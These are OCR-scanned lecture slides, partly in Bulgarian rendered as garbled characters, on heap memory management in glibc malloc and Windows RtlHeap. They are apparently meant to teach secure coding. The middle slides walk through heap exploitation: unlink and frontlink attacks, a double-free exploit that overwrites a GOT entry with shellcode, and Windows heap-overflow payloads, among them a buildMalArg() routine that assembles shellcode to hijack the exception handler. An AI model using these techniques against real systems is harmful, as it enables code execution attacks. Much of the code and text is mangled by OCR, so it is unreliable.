Dynamic Memory management
good and bad news

Common notes

eFor both: Linux ( malloc) and in Windows platforms (RtiIHeap)

ereserving and freeing variable-size chunks of memory: always part of the

client process

oList of free chunks (in random order or in decreasing or increasing order)
is maintained [Knuth]

eAlgorithm for best-fit or first-fit can be used

eMethods for un-allocation of memory chunks must be performed also. That

means returning to the free space lists and consolidating adjacent areas.

Common dynamic memory management errors

oIn initialization process. for example: malloc() doesn’t zeros memory,

eFailing to check return values for fails or exception. Or check them incorrectly

*Referencing freed memory. Read it will always succeed but no guarantee is not altered
somewhere. Or shared variable can be free and overwritten but used from another process

*Freeing memory multiple times
sImproperly paired memory managemen

new / delete ;
malloc(); / free();

See example



Figure illustrates another dangerous situation in which memory can
be freed multiple times. This diagram shows two linked list data structures that
share common elements. Such data structures are not uncommon but intro-
duce problems when memory is freed. If a program traverses each linked list

freeing each memory chunk pointer, several memory chunks will be freed

. If the program only traverses a single list (and then frees both list struc-
tures), memory will be leaked. Of these two choices, it is less dangerous to leak




Memory allocator in Linux

used in GNU C library for most versions of Linux, Red Hat .. (malloc()...)

PREV_INUSE bit shows if
he previous chunk is
still allocated

Enable to consolidate
(de-fragment) memory




S|ze of prevnous chunk |f unallocated

Forward pointer to first chunk i in llst .
‘Back pointer to last chunk in list

f

Head
element

0 Unused space (may be 0 bytes long)
- Sire of chunk

sze of previous cht;mk if unallocated -

Size of chunk in bytes
o et 'r?to next chunk in llst

Free list double-linked structure (the name for this is 'bin’)



to remove (unallocate) a chunk from double-linked list (the unlink() macro).

Used when (1) memory is consolidated ;
or a chunk is taken off the free list because of a
(2) new allocation :

: YcnoBHU 0603HaYeHnsa 3a
<- BK (2) npeauwHng v cneasall
EneMeHT OT cnucbka

a3
(@ D)
2
a3
(4) BK ->fd = FD; .

y (1O Important
equitations
in unlink()

Results macro

of unlink

Four-step unlink example



How buffer overflows can crash a program

When working outside of array boundary is possible to
corrupts data structures and is vulnerable to attacks
because arbitrary code is possible to be addressed.

Both unlink and
front-link
techniques can be used for this purpose.

(1) Unlink technique:




1. C- example

A string is written outside boundary of *first’
‘first’ is free()
‘second’ is freed, so system tries to consolidate

1. #include <stdlib.h>

2. #include <string.h>

3. int main(int argc, char *argv[]) {
4. char *first, *second, *third;
54 first = malloc(666);

6. second = malloc(12);

7. third = malloc(12);

8. strcpy(first, argv[1]);

9. free(first);
10. free(second);

11. free(third);
12. return(0)¥Ye.,
13,8 i

// A small block immediately after

// Unbounded strcpy() i

rwNE

. To determine ‘second’ is unallocated — line 10
checks PREV_INUSE bit of the ‘third’. How to find it —
see picture 2. In the case 'second’ is still allocated

no consolidation (no unlink occurs) !

But malicious argument had overwritten the fields in the ‘second”:
*'Size’ field = - 4. So ‘third’ chunk seems be 4 bytes before yecond’
eFalse PREY_INUSE=0. ‘second’-unallocated. Free() consolidates

herable to an exploit usfig §

Y
......
'~,,S.O 4b

eAddress supplied by attacker (in bk) is interpreted as back pointer

+This Back ppinter’s contents is used by unlink() macro to changé the

nlink techniqu value of FD-A12 (means the bk field in the next chunk). But FD/is
supplied by attacker and may be any address (fp !!! For example)

tes of data\supplied by an attacker are written Yo address

al<ogupplied by thle atkacker (through line 2 & 3 in

.'ﬂ;s.t chunk 680 bytes
...
n ..v \
(bytes ‘4 by&es str\en(she'l'lcode) o
dummy\ * hellcode g[e[B[B]E[B] .. ..ccouninn- B]..
rdummy [ ummY\ |'~:.\5 I\ 7 e

Third chunk

 Size of ch;:.jhk, in bytes;

fd bk

h..
4
L 4
L Z
..
L4

Second chunk with oJerwritten fj

Abytes 4bytes / abytes 4bytes "*+.fp-12 in this example

[even dnt]| -4 [ fp-12 | addr \o| pofts somewhere, so

e e P /7 unlink()*wijll overwrite
prev size fd = some address's,

Using the size field to find the start of the next chunk

i \ i
S12C when line 10 executes

Malicious argument used in unlink technique



How (2) frontlink technique can crash a program

When a chunk is freed, it is linked Ahto an double-linked list. This is done by frontlink() code execution.
(this is @ macro, inserted in code segments when needed).
The macro is unifying segments in the bin in descending order of its size.
Technique is similar to unlink() (previous theme).

Attacker su
suitable

lies not an address, but short executable (jm
lace, in the way to substitute a system call to a known function with his own .

Into this ‘fake’ chunk is stored the address that will be used
as a function pointer - in the location where a ‘Back
Pointer’ (of chun rmally is stored.

This jmp instruction may poi the first destructor func
executed (which address can be found in~
the program) The attacker can discover this address
examining the executable image of the code. His will is to
make a substitution — so to point his own function.

When second is freed (15), frontlink() starts to
unify it with #ifth chunk. As a result the forward
pointer of fifth (address of a fake chunk) is stored
as FD and back pointer from the fake chunk is stored
in variable BK ( BK now contains a jmp instruction to
our malicious shellcode). So a normal function pointer
will be overwritten by a malicious one.
When return(0) occurs a first destr function is called
but ‘fake’ code is executed instead.

instruction for example: 4 bytes) in

‘second’ is smaller than *fifth’ — so frontlink() is trying to arrange it
immediately after in the/bin

1. #include <stdlib.

. int main(int a
char *first,
char *fourth,
first = mall

8. third = ma

9. fourth = m

10. fifth =

11. sixth = m
12. strc fi
aLai free(fifth);
14. strcpy (fourth,
15. free(second):
16. return(0);
12k <)

= _maljoc(1500);

10c(666)
malloc(1508);
Toc(12);

st, argv[2]) 7/ malicious arg. contains shellcode and

» char * argv[]) {
econd, *third;

ifth, *sixth;
rlen(argv[2]) + 1);

// last 4 bytes (bk of ITI ) are jmp into i
argv[1]); // Overflows - address of a fake chun
// is put into forward pointer of the
/[ fifth chunk, because immediately
/| after ‘seeded’ -fourth

’r’

SmnpbcodevuhembbtoanexmokuﬂngtheﬁonﬂMktmﬁnhue




KakBO BCBHLYHOCT cTaBa B 6/710KkOBeTe naMmerT:

3aetu ot strcpy() 6nokose

I
NoameHeHnun noneta (bk n fw Ha cneasawuTe rv 6n1okose)
BCneacTeme Ha overflow
II
Llle ce o6ep\\HsiBa € 5
( M TO cneAa Hero)
III
IV
\'}
{W — Be4ye CoYM CTapToBMsA aApecC Ha BpeanuTesiCKusa, BHeApeH Ko
LLle ce o6eanHsBa c 2 \
(v To npeamn Hero) \\
AN Bcneacreue Ha 0beanHABaHETO HA 0CBOBOAEHUTE CErMEeHTU 5 1
VI X 2 1 TbM KaTo 2 e cnea 5,
', CbAbpXaHWETO Ha bk (ToBa 6ewue jmp MHCTPYKLUSA KbM

\N nob6aseHus B I BpeaUTEJICKM KO Lye ce 3anuviuie TaMm
\, KbeTo coun fw (a ToBa 6ewie agpeca Ha AeCTPyKTOp
\g)yHKuuﬂ'ra). T.e. — cTaHpapTHaTa AeCcTpyKTOop (p-us we
6bae nogMeHeHa Taka, Yye Aa coum
CTapToBMSA agpec Ha BpeauTtenckua kop (6nok I) .



Double — free vulnerabilities

bin -> ® Forward pointer to first chunk in list

T Back pointer to last chunk in fist

P->

Ssze of previous chunk, if unallocated

Size of chunk in bytes

User s

Empty bin and allocated chunk

2. double-linked list after free()
— a normal situation

preconditions:
1. The chunk be isolated:
no consolidation can occur
2. The freed chunk must be first
into the empty bin

Size of‘previous chunk, if una‘l!ocated
_Size of chunk, in bytes
Forward pomteﬂo next chunk in list

Back pointer to pveviéuschunk in list

Unused space (may be 0 bytes idng)
:  Size of chunk

Bin with single free chunk



bin -> | Forward pointer to first chunk in list
Back pointer to last chunk in list 3. Abnormal situation — structures

are corrupted

Size of previous chunk, if unallocated
Size of chunk, in bytes ]
Forward pointer to next chunk in list
Back pointer to previous chunk in list -
Unused space (may be 0 bytes long)
Size of chunk »

Corrupted data structures after second call of free()

4.

If a request for memory of same size occurs now,
the memory allocator will attempt to allocate it from
the bin. And will succeed.

Invoking unlink() macro next time to remove the chunk from
the bin of free chunks, leaves the pointers unchanged.

As a result if additional requests for allocation occur

for a chunk of a same size — the same chunk will be returned.
It's wrong!!!

But the worst is :

In this situation malloc() can be used to execute malicious code:

e



Example program where double free vulnerability exists:

1. static char *GOT_LOCATION = (char *)0x0804c98c; ‘-\\\\\\\\\\\\\\\\‘
2. static char shellcode[] =
3.  "\xeb\xOcjumpl2chars_" Let be the address of strcpy()
4. "\x90\x90\x90\x90\x90\x90\x90\x90" (4 bytes)
5- _ in the global offset table —
G TRvRE RO D) | must be difficult, but possible
7. int size = sizeof(shellcode); - -
8. void *shellcode_location; to find this address (for the
9. void *first, *second, *third, *fourth; current heap structures)
10. void *fifth, *sixth, *seventh;
11 shellcode_Tlocation = malloc(size);
12. strcpy(shellcode_location, shellcode);
13. first = malloc(256); // this is the target block for the exploit 4 bytes, that will be put
34 ysecond = mal106£256 ) in desired place: where
15.. third = malloc(256); .
16. fourth = malloc(256); GOT_LOCATON points

17. free(first); - /] now first is in the cache bin — unlink() will not be called for cache
(third);  // now *first’ is put into regular bin

h = malloc(128);

ffed(first); /| second free() for *first’

evgnth = malloc(256);
strtpy (fifth, "something™);
refurn O;

ible-free exploit code

Flrst hupk must not be consolidated with other free chunks n freed: the bin was empty & second is not freed
llocated ‘second’ and ‘fourth’ chunks (between I and III) p nts the third being consolidated.
eAllocating fifth (line 19) split the memory of the third
eFreeing first second time (line 20) sets up the double free vulnerability — when sixthds allocated (21) the same chunk
pointer (to first) is returned. Some elaborated data are copied into this memory (lines 22,
eSeventh chunk is allocated in the same memory (24). Unlink() macro copies the address of the code onto the
address of the strcpy() in the global offset table (same as ‘unlink” technique before). Then when strcpy() is called (25),

control is transferred to shellcode !!!




ynpasneHuve Ha naMetrta B Windows

CTpaHuqHa OpraHn3auma Ha agpeCHOTO NpoCTpaHCTBO
- cTpaHmum no 4K Bcsaka;

- :1:GetSystemlInfo() cbbupa nHcdopmauus;

- BUPTyasiHO pa3wumpeHue Ha OIl: padgfile.sys;

- BaJ/INAHU U HEBaAJIMAHMU CTPaHULM.

Pa3snpeneneHve Ha naMeTTa 3a npouec:

BUPT. agpec CbAbpKaHue
0- 64 Kb CITy>KebHM
Haa 64 Kb 3a MOAYJIM Ha U3NbJIHMMUNA cann
Hapg ropHus 3a heaps u threads stacks
Hapa TaX 3a DLL
Hap TaX cucrteMmHm DLL: Kernel32, User32, GDI32 u OC
2GB — 4GB 3a Hy»auTe Ha OC




Pabota c auH. nameTt (ot heap Ha npouec): HeapAlloc() 3a ronemu n VirtualAlloc() 3a manku 6nokose

1.Pe3epBupaHe: 3agena ce (Mapkupa ce )6,10k C onpeaenieHa roJieMMHa B
pPaMKUTE M 3a HY)XKAUTE Ha npoueca.
To3u 6,10k NOBTOPHO HE MOXXe Aa ce pesepBupa.lipumep:

pMem = VirtualAlloc(<Hau.apgpec Ha 6noka nnu NULL>, <6pom cTp. 3a
pe3epBupaHe>, MEM_RESERVE.., <npaBa Ha AOoCTbN>); // KpaTHO Ha 64K

2. 3apensaHe (commit): no crpannum (nanp. 4K) n no Heo6xogumoct, B OIN 1 B swap

file ot pesepBupanara. (VirtualAlloc(..., MEM_COMMIT,..). EaBa cera Moxe Aa ce u3non3sa
nameTtTa. Cnea n3uepnBaHeTo U — reHepupa exception: exception_guard_page. Torasa
___except(GetExceptionCode() == ....... ){...}

EXCEPTION_GUARD_PAGE

guard page ——>
] ] }

JlonbnHUTENHO 3a/eneHa rnameT

S

n3nosidaBaHa 4acrt

n3non3BaHe /




EnemMeHTM Ha BMpTyasiHaTa OpraHusaums Ha naMeTtTa:
- 4GB kbM npouec, pasaeneHn Ha cTpaHuum; pernctop CR3 counl geckpuntopHa Tabnuua
(uma po 1024 page-tables) >otaenHo 1 page-table coun no 1024 ctpaHmum
- flags for: ‘page present’; ‘page fault’; anHammnyHO cBansiHe Ha CcTp. Ha auck; swap file.
- EXE n DLL ce acoumnmpart cbc swap file, 6e3 ga ce 3anuceart B Hero.

- Shared 6no0koBe: B agp. NPOCTPAHCTBO Ha > OT 1 npouec, HO eAHOKPAaTHO 3aAeNIeHMn:

npouecl ¢u3nuecka namer npouec2 3alwmTa Ha BUpPT.NaMeT:
e OTA. aAp- NPOCTPAHCTBA
e User/kernel code
- I . —  6ensizaHm cTp:
- o** protected
o¥* R/W;
o**axecute only
o** guard

o** no access;
o¥* copy on write

NMopensiHe Ha rmo6anHu oaHHU M/Ay npoyecu: ‘oTnenHu KOMMUA M OTJZ1I0)KEHO Pa3MHOXXaBaHe

- MexaHU3MbT:
Lazy evaluation

copy-on-
write




Windows memory management (with RtiHeap)
RtiHeap is the memory manager on Windows. Uses API functions for memory management

5 sets of Windows API functions: e { ‘ wmngpp“iaﬁon A el

(3) Local, global | (4) CRT memory
memory API functions L

(2) Heap memory API

1. 4K page size, op. : reserved, committed,
page management;

HeapCreate(), process heap, GetProcessHeap

Only for compatibility with old versions b a

In Win32 environment (C Run-Time Library) [ i)

Discussed later

uhWN

RtiHeap data structures: Win32 memory management APIs
-Process environment block(PEB) —info about internal data structures, number and addresses of heaps

-Free lists: located at bytes offset from the start of the heap (HeapCreate()). Used to keep track of free
chunks.Contains 128 double linked lists for chunks of the same size (exception is FreeList[0] —

containing buffers >1024 bytes) \
Si 1400 It;[ 2000 I_,‘—L 2000 l‘_tl 2408 Jﬂ

So, up to 128 single linked lists
o = e F

for small memory blocks (<1K)-to speed up alloc(

/[ ]

a control structure

associated with him. The structure
precedes the returned memory pointer
address returned by 8 bytes.

(0]

-Memory chunks: block for allocation + j
4

6

[ s s #

FreelList data structure



—

01—Busy
02—Extra present
04—Fill pattern

08—YVirtual alloc

10—Last entry
20—FFU1
40—FFU2

80—Don’t coalesce

Self size

Previous chunk
size

Segment
index

Unused
bytes

Tag index
(debug)

busy

Control structure ( one memory chunk),
associated with each allocated by
heapAlloc() or malloc() chunk

] (all chunks are multiples of 8)

After free() or HeapFree() memory is Self size """"’s'i" chunk | Segment | o | Unused | Tag index
added to the coresponding free list b e bytes | (debug)
with index for memory chunks of that
size (see prev. slide) Next chunk | > Previous chunk
Pointers point to free lists of same size -——"
or to the head of the list.
| | | | | | | s alloeat]
0 1 2 3 4 5 6

Memory is unmovable .

7

8




Buffer overflow attacks in Windows :

- When overwriting forward or backward pointers used in double —linked lists.

This is the return

This results in changing the normal execution flow and invoking attacker supplied code.

Figure shows an example of how this occurs :

Let this is the

Wthe function of the example (may be any other executable address)

1> unsigned char shellcode[] = "\x90\x90\x90\x90";

wrong code inserted

echunks are contiguou
e creationofag
eChunk h2 is in FreeLi
(fd and bk) head of FreeL
eBuffer overflow (11)

eLast 8 bytes in malArg[] overwrite
pointers to the next and previous chunk

‘Next’ is overwritten by the address that will be

overwritten (in the case — the return address ¢
the stack). ‘Previous’ is

overwritten with the address of a shelic
eHeapAlloc() (12) allocates the same me
*Then return address is overwritten with
address of shellcode

eWhen return in mem() occures (17),

the control is passed to the shellcode.

"\x05\x00\x03\x00\x00\X00\x08\x00" // overwrites the boundary tag

// will overwrite pointers

QSigned char malArg[]%= "0123456789012 34 5//overwrites user data

"\xb8\xf5\x12\x00\x40\x90\ x40\ x00" ;

3. void mem(Q) {
4. HANDLE hp;
5 HLOCAL hl = 0, h2 = 0, h3 = 0, h4 = 0;
nters point to
pwy) 6 . hp = HeapCreate(0, 0x1000, 0x10000) y/initial size 1000,max 10000
7. hl = HeapAlloc(Chp, HEAP_ZERO_MEMORY, 16);
8. h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128);
9. h3 = HeapAlloc(Chp, HEAP_ZERO_MEMORY, 416) ;
10. HeapFreeChp,0,h2);
11 memcpy (hl, malArg, 32);
A5 h4 = HeapAlloc(Chp, HEAP_ZERO_MEMORY, (128);
13 . return;
deis. 3
ory
15. int _tmain(int argc, _TCHAR* argv[]) {
16. mem(Q) ;
17:. return 0O;
18. }

Pregious next > before HeapFree()

]
When HeapAlloc() - line12: where ‘next’ points (return address )

will be written ‘previous’ (address of shellcod

e)

Exploit of buffer overflow in dynamic memory on Windows



The previous slide

Buffer Overflows

The heap-based overflow exploit from Figure () required that the overwrit-
ten address be executable. While this is possible, it is often difficult to identify
such an address. Another approach is to gain control by overwriting the
address of an exception handler and subsequently triggering an exception.

Figure < shows another program that is vulnerable to a h-eap-based
overflow resulting the strcpy () on line 7. This program is different from
the vulnerable program previously shown in that there are no

::ELLIEI:;R:xiLSt; . lowed by the memory allocated for h1, followed by the segment trailer. When
in each FreeList[] <\b.],j5%h\m;vedm1 line 7, the resulting over overwrites the segment
ellement and trailer, including the LIST_ENTRY structure that points (forsvard and backward)
;2?::;:;“9 2 to the start of the free lists at FreeList[0]. In our previous exploit, we over-
(flink, blink) wrote the pointers in the free list for chunks of a given length. In this case,

to Frede List beginning  these pointers would only be referenced again in the case where a progr
(adress 0x..178)  requested another freed chunk of the same size(line 8] .

These pointers will likely be referenced in the next call to RtHeap — triggering an exception



w
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14.
15.
16.
17
18.

= O VW0 NOW

int mem(char *buf) {
HLOCAL hl = 0, h2 = 0O;
HANDLE hp;

hp = HeapCreate(0, 0x1000, 0x10000) ;

if ('hp) return -1;

hl = HeapAllocChp, HEAP_ZERO_MEMORY, 260);
strcpy((char *)hl, buf);

h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260);
printf("we never get here");

return O;

}

int main(int argc, char *argv[]) {
HMODULE 1;

1 = LoadLibrary("wmvcore.dl11");

buildMalArg() ; // this user function is discussed later
mem(buffer) ;

return O;

Program vulnerable to heap-based overflow



hll
00ba0680 22 00 08 00 00 01 Oc 00 61 61 61 61 61 61 61 61
00ba0690 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 Heap after HeapAlloc() [line 6].

User memory

00ba0780 61 61 61 61 61 61 61 61
00ba0790 Oe 01 22 00 00 10 00 00

\ 4 bytes added (multiple of 8)

flink b1link

Organization of the heap after first HeapAlloc

Overwritten pointers on line 7.
Points to FreList[0]

The Figure shows the organization of the heap after the \tall to HeapAlloc ()
on line 6. The hl variable points at 0x00ba0688, which ig the start of user
memory. In this example, the actual user spac¢ has been filled with 0x61 to dif-
ferentiate it from other memory. Because the \allocation of 260 bytes is not a
multiple of eight, an additional four bytes of memory are allocated by the
memory manager. These bytes still have the vhlue 0x00 in Figure . Fol-
lowing these bytes is the start of a large free chunk of 2160 byte§ (0x10e x 8).
Following the eight-byte boundary tags are the forward pointer\(f1ink) and
backward pointer (b1ink) to FreeList[0] at 0x00ba0798 and 0x00ba079c.
These pointers can be overwritten by the call to strcpy() on line 7 to transfer

control to user-supplied shellcode.
How this can occur - see the next slide



Code that can be used to create a malicious argument (buildMalArg())

for the attack

We are going to replace the address of a standard exception handler:

1. char buffer[1000]="";
IR 0 O AR ARG 1T rites the forward (with the address
i 5 int addr = 0, i = 0O; il be t P, d d
4. unsigned int systemAddr = O; ! I e_ ransferred) an
€ char tmp[8]1=""; ointers — this value
Add GetAdd - rt.d11","system') - dress where Windows
6. system r = Ge ress("msvc 4 - s
7 for (i=0; i < 66; i++) strcat(buffer, "DDDD"); ores the address of the use_r ha_ndler
8. strcat(buffer, "\xeb\x14"); (set by SetUnhandledExceptionFilter()
9. strcat(buffer, '"\x44\x44\x44\x44\x44\Xx to replace the normal unhandled
10. strcat(buffer, "\x73\x68\x68\x08") ; R _ N
11. strcat(buffer, "\x4c\x04\x5d\x7c") 3/ faddress of the exceptmnexceptlon handler by a user-defined.)
Y=t /handleri in Windows .
12. for (i=0; i < 21; 1i++) strcat(buffer,’ When next allocation occurs, because of
the corrupted pointers, allocation will
13 strat(buffer,
"\ x33\xCO\X50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xBS i
- flink points).
14. fi x“pa‘zgriises (tmf)’ » SystemAddr); Address of malicious code will replace
15. strcat(bu er,tmp); -
16. strcat(buffer, "\xFF\xD1\x90\x90") ; —W normal exception handler
(0x7C5D044C) An exception will be
27 return; ici
58 ¥
Preparation of shellcode for buffer overflow T—I:EC(mtl‘OlIStl'c':"\SferﬂEdtOtl'le

supplied address,
not the normal unhandled

exception handler.




Memory mapped file

(acoummnpaHe Ha c¢pann c agpecHO NPOCTPAHCTBO OT NaMeTTa)

Cnepn TOBa, KoraTo ce 3asiBM 4OCTbIN A0 CTPaHMLUA OT NaMeTTa, memory manager s
yerte OT AnCKa u nbxa B RAM. ETO kaK ce pa3BuBa NpoLeCchHbT:

NDLE hFile = ::CreateFile(....) //cb3gaBame file handle
HANDLE hMap = ::CreateFileMapping(hFile, ...); //Maunnynarop Ha file mapping object
LPVOID IpvFile < :: MapViewOfFile(hMap,.. ); // cbriocTaBs yesims nan 4acr or gpania

s:UnmapViewOfFile(IpvFile)y
::CloseHandle(hMap);
::CloseHandle(hFile);

[Ba npoueca Mmorart Aa non3sart o6y hMap, 1.e. Te uMmaT o6wa nameT (cCaMo 3a yeTeHe).
IpvFile (appechbT Ha gencTBUTENIHATa NaMeT) pa3bupa ce e pasinyeH.

Axko nckame obuia namer ( He ot pann mapping):
( dbyHkuusaTa GlobalAlloc(..., GMEM_SHARED,..); B Win32 He npaBu shared 6510k)

MpoueaypaTa e kakTo no-rope, 6e3 CreateFile() n c noaaBaHe Ha cnunduyeH napaMmeTbp:
( OXFFFFFFFF BmecTo hFile ). Cb3aaBa ce nogeneH file-mapping o6ekt (Hanp mM/ay npouecu) ¢
yKa3aH pa3Mep B paging ¢daina, a He KaTo otaeneH cain.

(MFC HaMa noaapbXXKa Ha To3M MexaHu3bM — CSharedFile npaBu o6MeH Ha 06K AaHHKN
npes clipboard.)



* Hama pa3snuka Mm/ay rnobaneH un nokaneH heap. Bcmuko e B pamkute Ha 2GB naMmer 3a
NpPUIOXKEHUETO.
*nonsBante p-uute 3a pabora c namer Ha C/C++ M KnacoBeTe, ako HAMATE CrneluasHn

U3UCKBaHMUSA;
* C'b3A4BaﬁTe cBom, unm BukaiTte API c¢b-um npm no-cneumasnHu cnyyam;

il

nMa 2 euaa heap: 1 aBT. 3aaeneH ot OC 3a npunoxexHueto (GlobalAlloc(),kosT0
eapAlloc(),nnn no-necHo- pabora c malloc/free,unum oule no-necHo- new/delete)

" 2. cob¢cTBeHu heap 6n0koBe:

=Cb3faBaHe hHeap = HeapCreate(,,.pa3smep);

/ / MoOXxe CMHXpOHM3UpaH AOCTbN A0 Xxuna oT noseye ot 1 thread B pamkuTe Ha npouec

= 3afe/isHe naMeT OT Cb3AaAeH pHeap = HeapAlloc(hHeap, onuuu, pa3smep);
= 0CBO6OXKaaBaHe HeapFree();

Hakou cbBeTH npu paboTta cbc cobcTBeH heap

* Moxkere Aa cb3paaBanTe co6cTBeH heap B cBom knacose (no 1 3a knac)
** Taka ce nszbsarsa chparmeHaumsitTa Ha NnaMeTTa NpM NpoaAb/HKUTEsNIHA paboTa.
** HapacTBa 6e3o0nacHOCTTa, Nopaau U3onauuMaTa B paMKM Ha npouec
**nossonsisa npeaedmHupaHe Ha new, delete onepaTtopuTe 3a knaca. ToBa ctaBa
B KOHCTPYKTOpa.

Cbb6nropaBaiTe cxemara:

1. ako He e cb3aAeH, cb3aaBa ce private heap m ce vHMLUManu3supa

CBbp3aH € Hero 6posiu (Ha U3non3BaHUATA)

2. 3apensT ce Heobxoaumua 6pon 6anToBe;

3. MHKpeMeHTUpa ce 6posiua.
Mo aHanornyHa cxema ce npeaeduHupa n onepauumsa delete



Hakoun cbBeTH Npu paborta c AMHAaMUYHA NaMeT

* npobneM e nocreneHHaTa pparMeHTalyus Ha naMerTTa.
* BukaHe Ha _heapmin() npeau 3apensiHe Ha rosnemm 6/710KoBe 3a NPEKOMMNOHMUPaHe
Ha heap. 3a manku 6n10koBe delete() e gocTaTbueH;

* MMHMMU3MPpaWUTE AaHHUTE, KOUTO MoraT Ala nonagat B swap cdaina (Bkapsaite B DECYPCH

wnn “MHHULNSJSINIHPAHN, KOHCTAHTHHN AAHHH'. Te ce MEHa)XnMpaT pas3sinuyHo)
* CTeKbT Beue He e orpaHnyeH fo 64K n craBa TO/IKOBa rosiiM, KOJIKOTO € Heo6xoaANMO:
nonssaiiTe ro BMeCTo AMHaAMMU4YHa NaMerT.

Hakou cbBeT Npu paboTta ¢ Manku no o6emM, KOHCT. AaHHU ( HU3O0Be):
* naHHn B EXE u DLL He npaBaT npobnem — Te ca eAHOKpPAaTHO B NamMeTTa Unu B ‘swap
anna’. ToraBa, nobpe 61 6MUNO M KOHCTAHTHUTE AAaHHM Aa Ca KaTo TSX:

* Mpun paboTta ¢ HM30Be oT Tnn CString, ( TYK HenpecTaHHO ce 3apaenat/ocBobo)xaasart
Masikm 06eMun namer):
1. AKO HM3DBT € HENPOMEHSIEM 3a UAJZIOTO U3NbJIHEHME, AeK/IapupanTe ro
Taka:
const char mystr[] = “"my string”;
(Toln We ce cbxpaHM 3ae[HO C KOAA Ha NporpamMaTta — B cekumaTa .rdata Ha EXE. Te
ce NocTaBAT U3BbH swap cdaunna)
YyaecHo!



2. AKO HM3 ce cb3aaBa KaTto C++ 06ekT ( npe3 KOHCTPYKTOP):
B cexuusTa .rdata He ce nocrtaBsAT 06eKkTH, Cb3aaAeHU nNpe3 KOHCTPYKTOP.

CString my_string("my new constructed string”);

O6eKTbT ce KOHCTpyMpa B oTAaenHa cekums ( .bss — HeMHUMUMaANU3NpaHn faHHK,

c/ieql KOeTo ce NoMbJ/iIBaT MHULManu3paLwmuTe ro CromHocrtun). Cekuusara ce BKapBa B
swap ¢ganna.

(VHMUManuM3npawmTe CTOMHOCTHU Ce NONBbJIBAT C/ieq 3apeXXaaHe Ha exe-TO B NaMeTTa,
T.€. M0 BpeMe Ha u3nb/iHeHne. OueBMAHO 06eKTHT He MoXKe Aa ce “npukaun” koM EXE-T10).

3 AKO HM3 ce Aekslapupa KaTo rnobanHa wnm static npomeHnumsa npes
KOHCTPYKTOP Ha Knac:
static CString my_str("new instance”);

TOBa BOAM A0:

1. nocraBsiHe Ha CString o6ekT B .bss cekyusita (B swap),

2. MacMB OT CUMBOJIUTE Ce NocTaBs B cekuma .data (3a MHMLanM3npaHm,
HEKOHCTAaHTHM AlJaHHM) cekuus. ToBa e oTaenHa (HoBa) naMer.

3. Konue Ha CUMBOJIUTE Ce NPEXBbPJiA B XHUMNa Ha BCEKU CTapTUpaH npoLec.

Huwgo He nonaaa B EXE 1 BCMUKO xapuu namert. Jiows BapuaHT!

Hau- no6bp e nbpBua noaxopn!



